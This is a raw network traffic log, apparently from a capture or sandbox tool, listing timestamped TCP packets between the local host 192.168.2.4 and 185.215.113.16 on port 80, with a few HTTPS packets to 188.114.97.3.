Oct 31, 2024 05:07:19.363365889 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363384008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363394022 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363414049 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.363430023 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.363697052 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363708019 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363718987 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363739014 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363748074 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.363751888 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363761902 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.363765001 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363791943 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.363821030 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.364515066 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.364525080 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.364567995 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.396581888 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.396600008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.396656036 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.396660089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.396687984 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.396703959 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.396720886 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.396733999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.396744013 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.396771908 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.396799088 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.397160053 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.397196054 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.397212029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.397229910 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.397325039 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.397370100 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.397393942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.397437096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.397509098 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.397521973 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.397531033 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.397559881 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.397582054 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.439825058 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.439836979 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.439851046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.439933062 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.441834927 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.441844940 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.441854954 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.441921949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.481988907 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482002020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482012033 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482078075 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.482112885 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.482117891 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482168913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482180119 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482217073 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.482461929 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482474089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482484102 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482515097 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.482531071 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.482810020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482820988 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482831955 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482842922 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.482861042 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.482889891 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.483269930 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.483282089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.483293056 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.483331919 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.483333111 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.483347893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.483349085 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.483361006 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.483392954 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.483413935 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.515722990 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.515738964 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.515758991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.515810966 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.515834093 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.515849113 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.515867949 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.515880108 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.515906096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.515932083 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.516475916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.516488075 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.516499043 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.516513109 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.516524076 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.516530037 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.516560078 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.558924913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.558937073 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.558974981 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.558984995 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.558990002 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.559052944 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.559052944 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.560913086 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.560961962 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.560992956 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.561003923 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.561042070 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.601497889 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601538897 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601579905 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601598978 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601613045 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601624012 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601635933 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601649046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601686001 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.601712942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601723909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601737976 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601746082 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.601749897 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601763010 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601778030 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601788998 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.601790905 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.601790905 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.601800919 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.601840973 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.602477074 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.602488041 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.602499008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.602510929 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.602530003 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.602536917 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.602559090 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.602706909 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.634948015 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.634962082 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.634968042 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635068893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635075092 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635272026 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.635324955 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635363102 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635397911 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.635442972 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635447979 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.635454893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635467052 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635477066 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635504961 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.635528088 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.635818958 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635828972 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.635869980 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.678113937 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.678128004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.678138971 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.678172112 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.678216934 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.679990053 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.680006027 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.680017948 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.680037022 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.680057049 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.720551014 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.720563889 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.720575094 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.720587969 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.720599890 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.720602989 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.720613956 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.720633030 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.720652103 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.720760107 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.720776081 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.720794916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.720797062 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.720803976 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.720900059 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.721148014 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.721159935 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.721179008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.721194029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.721210003 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.721221924 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.721234083 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.721257925 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.721286058 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.721663952 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.721676111 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.721685886 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.721703053 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.721714020 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.721714973 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.721746922 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.721762896 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.753809929 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.753834963 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.753846884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.753859043 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.753880024 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.753895998 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.753910065 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.753921986 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.753971100 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.754041910 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.754378080 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.754422903 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.754456997 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.754468918 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.754487038 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.754498959 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.754509926 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.754512072 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.754534006 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.754554987 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.795649052 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.795661926 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.795671940 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.795713902 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.795748949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.797070026 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.797081947 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.797096014 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.797128916 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.797218084 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.799005032 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.799017906 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.799029112 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.799088001 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.799113035 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.839610100 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.839663982 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.839838982 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.839855909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.839869022 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.839884996 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.839895964 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.839895964 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.839909077 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.839921951 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.839932919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.839939117 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.839946985 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.839961052 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.839998960 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.840301991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.840312958 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.840323925 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.840349913 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.840363979 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.840364933 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.840377092 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.840388060 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.840401888 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.840414047 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.840435028 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.840922117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.840934038 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.840944052 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.840969086 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.840981960 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.840998888 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.841012001 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.872868061 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.872926950 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.872939110 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.872950077 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.872968912 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.873039007 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.873050928 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.873061895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.873090029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.873105049 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.873462915 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.873509884 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.873514891 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.873533010 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.873547077 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.873558998 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.873562098 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.873570919 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.873596907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.914638996 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.914652109 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.914661884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.914812088 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.915961027 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.915973902 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.915983915 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.916026115 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.916043997 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.918138027 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.918150902 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.918160915 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.918193102 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.918214083 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.921328068 CET	443	49874	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:19.921422005 CET	49874	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:19.922699928 CET	49874	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:19.922749996 CET	443	49874	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:19.923111916 CET	443	49874	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:19.924377918 CET	49874	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:19.924513102 CET	49874	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:19.924567938 CET	443	49874	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:19.958636045 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.958697081 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.958756924 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.958770037 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.958781004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.958849907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.958884954 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.958957911 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959002972 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.959036112 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959054947 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959067106 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959078074 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959089994 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959098101 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.959124088 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.959506989 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959518909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959530115 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959561110 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.959573984 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.959608078 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959623098 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959633112 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.959660053 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.959682941 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.960094929 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.960120916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.960133076 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.960165977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.960166931 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.960179090 CET	80	49851	185.215.113.16	192.168.2.4
